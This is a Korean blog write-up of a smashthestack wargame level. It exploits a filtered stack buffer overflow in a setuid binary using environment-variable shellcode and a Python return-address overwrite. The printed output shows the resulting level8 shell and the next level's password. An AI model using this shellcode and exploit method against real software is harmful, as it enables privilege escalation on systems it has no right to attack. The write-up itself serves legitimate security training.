blowfish.smashthestack.org – Level7 풀이

Level7의 소스는 다음과 같다.

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {

 int i;
 char buffer[32];
//char *key1 = /;
 char *p1, *p2, *p3, *p4, *p5;
 char key2[2], key3[2], key4[2], key5[2];

// if(argc != 2)
// return -1;

 for(i = 1; i < argc; i++) {
 memset(argv[i], 0, strlen(argv[i]));
 }
 sprintf(key2, %c, 0x90); // nop
 sprintf(key3, %c, 0xeb); // jmp
 sprintf(key4, %c, 0xcd); // int
 sprintf(key5, %c, 0xff); // still easy

//p1 = strstr(argv[0], key1);
 p2 = strstr(argv[0], key2);
 p3 = strstr(argv[0], key3);
 p4 = strstr(argv[0], key4);
 p5 = strstr(argv[0], key5);

 if (p2 != NULL || p3 != NULL || p4 != NULL || p5 != NULL) {
 printf(Access denied.\n);
 return -1;
 }
 else {
 printf(Access granted.\n);
 }

 strcpy(buffer, argv[0]);

 return 0;
}

strcpy(buffer, argv[0]); 부분에서 BOF가 발생함을 알 수 있다. 하지만 argv[0] 인자로 \x90, \xeb, \xcd, \xff가 들어가면 안된다는 것을 알 수 있다. 그럼 이제 우린 쉘코드 주소를 환경변수에 올리고 그 환경변수의 주소를 위에서 체크하는 값이 포함되지 않는 주소에 위치시켜야 한다.

환경변수의 주소를 구하는 코드는 다음과 같다.

#include<stdio.h>
int main()
{
 char env[10];
 scanf(%s, env);
 printf(x%x\n, getenv(env));
 return 0;
}

이제 NOP + Shellcode로 구성된 환경변수를 등록하도록 하자.

level7@blowfish:/levels/tmp/1234$ export SH=`python -c print '\x90'*20000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'`
level7@blowfish:/levels/tmp/1234$ ./a.out
SH
0xbfff90d0
level7@blowfish:/levels/tmp/1234$ export SH1=`python -c print '\x90'*20000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'`
level7@blowfish:/levels/tmp/1234$ ./a.out 
SH1
0xbfff3f61
level7@blowfish:/levels/tmp/1234$ export SH2=`python -c print '\x90'*20000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'`
level7@blowfish:/levels/tmp/1234$ ./a.out 
SH2
0xbffef11e
level7@blowfish:/levels/tmp/1234$

환경변수를 3개 정도 등록했을때 \xff가 나오지 않는 환경변수의 주소가 나왔다.
이제 공격을 해보도록 하자.

#!/usr/bin/python
import os

bof = 'A'*60 + '\x1e\xf1\xfe\xbf'
os.execl('/levels/level7', bof)
level7@blowfish:/levels/tmp/1234$ ./ex.py
Access granted.
sh-3.1$ id
uid=1009(level7) gid=1009(level7) euid=1010(level8) groups=1009(level7)
sh-3.1$ cat /pass/level8
w3ll_d0n3!

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다